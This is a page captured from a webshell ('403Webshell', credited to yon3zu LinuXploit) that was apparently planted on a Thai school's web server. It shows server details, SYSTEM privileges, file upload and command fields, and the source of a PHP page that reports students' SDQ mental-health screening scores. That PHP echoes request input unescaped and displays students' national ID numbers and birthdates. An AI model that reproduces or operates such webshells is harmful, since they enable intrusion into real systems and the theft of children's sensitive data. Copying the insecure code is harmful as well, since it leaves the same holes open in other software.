403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/sdq/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/sdq/display_stu_report.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 

$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$tb_student_id = $_REQUEST['tb_student_id'];

//----------------------------ค่าพื้นฐานระบบเว็บไซต์-----------------------------//
$fetch_public = $db->fetch_array($db->query("select * from tb_public"));
//----------------------------ค่าพื้นฐานระบบเว็บไซต์-----------------------------//

//--------------------ส่วนบนใช้สำหรับประกาศตัวแปรและ Config เท่านั้น----------------------------//
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title><?php print $fetch_public['tb_public_title'];?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/style.css"rel="stylesheet" type="text/css">
<script type="text/javascript"  src="../js/format.js" ></script>
<script type="text/javascript"  src="../js/dtree.js"  ></script>
<link href="../css/style.css" rel="stylesheet" type="text/css">
<link href="css/deqp_style.css" rel="stylesheet" type="text/css">
</head>
 

<body>
<table width="988" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td height="200" align="center" valign="top"><?php include('header.php');?></td>
  </tr>
  <tr>
    <td valign="top"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="209" height="50%" align="center" valign="top"><?php include('com_left.php');?></td>
        <td valign="top" bgcolor="#FFFFFF"><table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td width="9" height="39"><img src="images/la21/bcontent_03.jpg" width="9" height="39" /></td>
            <td height="39" background="images/la21/bcontent_06.jpg"><img src="images/bcontent_04.jpg" width="411" height="39"></td>
            <td width="13" height="39"><img src="images/la21/bcontent_08.jpg" width="13" height="39" /></td>
          </tr>
          <tr>
            <td height="15" background="images/la21/bcontent_13.jpg">&nbsp;</td>
            <td align="center"></td>
            <td height="15" background="images/la21/bcontent_15.jpg">&nbsp;</td>
          </tr>
          <tr>
            <td width="9" background="images/la21/bcontent_13.jpg">&nbsp;</td>
            <td align="center"><form name="form1" method="post" action="#">
			<input name="tb_student_id" type="hidden" value="<?php print $tb_student_id;?>">
              <table width="95%" height="100%" border="0" align="center" cellpadding="3" cellspacing="3" bgcolor="#FFFFFF">
                <tr>
                  <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
                      <tr>
                        <td colspan="3" align="center" class="bigone">สรุปแบบประเมินจุดแข็งและจุดอ่อน<br>
                          Strengths and Difficulties Questionnaire (SDQ)</td>
                        </tr>
					  <?php
						$sql_stu="SELECT * FROM tb_students Inner Join tb_rooms ON tb_students.tb_student_degree = tb_rooms.tb_room_id where  tb_students.tb_student_id = '".$_SESSION['sessionuser_id']."' ";
						$query_stu = $db->query($sql_stu);
						$fetch_stu = $db->fetch_array($query_stu);
					  ?>
                      <tr>
                        <td colspan="3" align="center">&nbsp;</td>
                        </tr>
                      <tr>
                        <td colspan="3" align="center"><strong>ชื่อเด็ก ..</strong><?php print display_nametype($fetch_stu['tb_student_tname']);?><?php print $fetch_stu['tb_student_name'];?> <?php print $fetch_stu['tb_student_sname'];?><strong> เลขประจำตัว </strong><?php print $fetch_stu['tb_student_code'];?><strong> ห้อง </strong><?php print $fetch_stu['tb_room_name'];?><strong>..เพศ : </strong><?php print display_sextype($fetch_stu['tb_student_tname']);?></td>
                        </tr>
                      <tr>
                        <td colspan="3" align="center"><strong>รหัสบัตรประชาชน <?php print $fetch_stu['tb_student_idcard'];?></strong></td>
                      </tr>
                      <tr>
                        <td colspan="3" align="center"><strong>วันเดือนปี เกิด ของเด็กนักเรียน <?php print display_date($fetch_stu['tb_student_birthday'],'longthai');?></strong></td>
                        </tr>
                      <tr>
                        <td align="center" nowrap class="rowone"><strong>รายการประเมิน</strong></td>
                        <td align="center" class="rowone"><strong>คะแนน</strong></td>
                        <td align="center" class="rowone"><strong>ผล</strong></td>
                      </tr>
					  <?php
					     $fetch_display_score = $db->fetch_array($db->query("select * from tb_sdq_student  where tb_student_id ='".$_SESSION['sessionuser_id']."' "));
						 
						 $score_total1  = $fetch_display_score['tb_sdq_student_q3']+$fetch_display_score['tb_sdq_student_q8']+$fetch_display_score['tb_sdq_student_q13']+$fetch_display_score['tb_sdq_student_q16']+$fetch_display_score['tb_sdq_student_q24'];
						 
						 $score_total2  = $fetch_display_score['tb_sdq_student_q5']+$fetch_display_score['tb_sdq_student_q7']+$fetch_display_score['tb_sdq_student_q12']+$fetch_display_score['tb_sdq_student_q18']+$fetch_display_score['tb_sdq_student_q22'];

						 $score_total3  = $fetch_display_score['tb_sdq_student_q2']+$fetch_display_score['tb_sdq_student_q10']+$fetch_display_score['tb_sdq_student_q15']+$fetch_display_score['tb_sdq_student_q21']+$fetch_display_score['tb_sdq_student_q25'];
						 
						 $score_total4  = $fetch_display_score['tb_sdq_student_q6']+$fetch_display_score['tb_sdq_student_q11']+$fetch_display_score['tb_sdq_student_q14']+$fetch_display_score['tb_sdq_student_q19']+$fetch_display_score['tb_sdq_student_q23'];
						 
						 $score_total5  = $fetch_display_score['tb_sdq_student_q1']+$fetch_display_score['tb_sdq_student_q4']+$fetch_display_score['tb_sdq_student_q9']+$fetch_display_score['tb_sdq_student_q17']+$fetch_display_score['tb_sdq_student_q20'];

						$sum_scoretotal = $score_total1+$score_total2+$score_total3+$score_total4+$score_total5;
					  ?>
                      <tr>
                        <td width="50%" nowrap>1. ด้านอารมณ์ </td>
                        <td width="25%" align="center"><?php print $score_total1;?></td>
                        <td width="25%" align="center"><?php print display_sumscorestu1($score_total1);?></td>
                      </tr>
                      <tr>
                        <td nowrap>2. ด้านความประพฤติ / เกเร </td>
                        <td align="center"><?php print $score_total2;?></td>
                        <td align="center"><?php print display_sumscorestu2($score_total2);?></td>
                      </tr>
                      <tr>
                        <td nowrap>3. ด้านพฤติกรรมอยู่ไม่นิ่ง / สมาธิสั้น  </td>
                        <td align="center"><?php print $score_total3;?></td>
                        <td align="center"><?php print display_sumscorestu3($score_total3);?></td>
                      </tr>
                      <tr>
                        <td nowrap>4. ด้านความสัมพันธ์กับเพื่อน </td>
                        <td align="center"><?php print $score_total4;?></td>
                        <td align="center"><?php print display_sumscorestu4($score_total4);?></td>
                      </tr>
                      <tr>
                        <td nowrap>5. ด้านสัมพันธภาพทางสังคม </td>
                        <td align="center"><?php print $score_total5;?></td>
                        <td align="center"><?php print display_sumscorestu5($score_total5);?></td>
                      </tr>
                      <tr align="center" bgcolor="#FBFAC8">
                        <td bgcolor="#FFCCFF"><strong>คะแนนรวม</strong></td>
                        <td bgcolor="#FFCCFF"><?php print $sum_scoretotal;?></td>
                        <td bgcolor="#FFCCFF"><?php print display_sumscoretotalstu($sum_scoretotal);?></td>
                      </tr>
                      <tr align="center" bgcolor="#FBFAC8">
                        <td bgcolor="#FFCC99">&nbsp;</td>
                        <td bgcolor="#FFCC99">&nbsp;</td>
                        <td bgcolor="#FFCC99">&nbsp;</td>
                      </tr>
                    </table>
                      </td>
                </tr>
                <tr>
                  <td align="center"><img src="images/Search-icon.gif" width="16" height="16"> <a href="display_sql_student.php">กลับหน้าหลัก</a></td>
                </tr>
              </table>
            </form>
              </td><td width="13" background="images/la21/bcontent_15.jpg">&nbsp;</td>
          </tr>
          <tr>
            <td height="15" background="images/la21/bcontent_13.jpg">&nbsp;</td>
            <td align="center"></td>
            <td height="15" background="images/la21/bcontent_15.jpg">&nbsp;</td>
          </tr>
          <tr>
            <td width="9" height="15"><img src="images/la21/bcontent_18.jpg" width="9" height="15" /></td>
            <td height="15" background="images/la21/bcontent_19.jpg"></td>
            <td width="13" height="15"><img src="images/la21/bcontent_20.jpg" width="13" height="15" /></td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="37" valign="bottom"><?php include('footer.php');?></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit